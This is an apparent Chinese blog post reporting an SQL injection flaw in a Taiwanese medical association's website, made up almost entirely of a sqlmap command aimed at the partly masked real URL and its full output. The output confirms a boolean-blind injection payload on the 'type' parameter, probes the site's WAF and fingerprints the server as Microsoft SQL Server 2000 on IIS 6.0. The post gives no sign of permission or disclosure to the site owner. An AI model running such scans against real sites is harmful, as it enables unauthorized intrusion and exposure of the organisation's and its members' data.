台湾某医学会sql注入漏洞

直接上sqlmap神器

复制代码
PS C:\security tools\sqlmap-master> python.exe .\sqlmap.py -u "http://www.xxx.org.tw/people/edu.asp?type=6"
         _
 ___ ___| |_____ ___ ___  {1.0.5.46#dev}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all ap
d federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 20:17:12

[20:17:12] [INFO] testing connection to the target URL
[20:17:12] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[20:17:13] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDS
do you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N] y
[20:17:15] [WARNING] dropping timeout to 10 seconds (i.e. '--timeout=10')
[20:17:15] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
[20:17:15] [WARNING] WAF/IDS/IPS product hasn't been identified (generic protection response)
[20:17:15] [INFO] testing if the target URL is stable
[20:17:16] [INFO] target URL is stable
[20:17:16] [INFO] testing if GET parameter 'type' is dynamic
[20:17:17] [INFO] confirming that GET parameter 'type' is dynamic
[20:17:17] [INFO] GET parameter 'type' is dynamic
[20:17:17] [INFO] heuristic (basic) test shows that GET parameter 'type' might be injectable (possible DBMS: 'Microsoft SQL Server')
[20:17:17] [INFO] testing for SQL injection on GET parameter 'type'
it looks like the back-end DBMS is 'Microsoft SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1) values? [Y/n] 1
[20:17:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[20:17:27] [INFO] GET parameter 'type' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[20:17:27] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[20:17:27] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[20:17:27] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[20:17:27] [WARNING] time-based comparison requires larger statistical model, please wait................... (done)
[20:17:40] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e
[20:17:40] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[20:17:43] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[20:17:43] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[20:17:45] [INFO] checking if the injection point on GET parameter 'type' is a false positive
[20:17:48] [WARNING] it appears that the character '>' is filtered by the back-end server. You are strongly advised to rerun with the '--tamper=between
GET parameter 'type' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 57 HTTP(s) requests:
---
Parameter: type (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: type=6 AND 9449=9449
---
[20:18:04] [INFO] testing Microsoft SQL Server
[20:18:04] [INFO] confirming Microsoft SQL Server
[20:18:05] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[20:18:05] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 8 times, 404 (Not Found) - 27 times
复制代码

 

posted @   魔都安全札记  阅读(5769)  评论(2编辑  收藏  举报
编辑推荐:
· 开发中对象命名的一点思考
· .NET Core内存结构体系(Windows环境)底层原理浅谈
· C# 深度学习:对抗生成网络(GAN)训练头像生成模型
· .NET 适配 HarmonyOS 进展
· .NET 进程 stackoverflow异常后,还可以接收 TCP 连接请求吗?
阅读排行:
· 本地部署 DeepSeek:小白也能轻松搞定!
· 如何给本地部署的DeepSeek投喂数据,让他更懂你
· 从 Windows Forms 到微服务的经验教训
· 李飞飞的50美金比肩DeepSeek把CEO忽悠瘸了,倒霉的却是程序员
· 超详细,DeepSeek 接入PyCharm实现AI编程!(支持本地部署DeepSeek及官方Dee
点击右上角即可分享
微信分享提示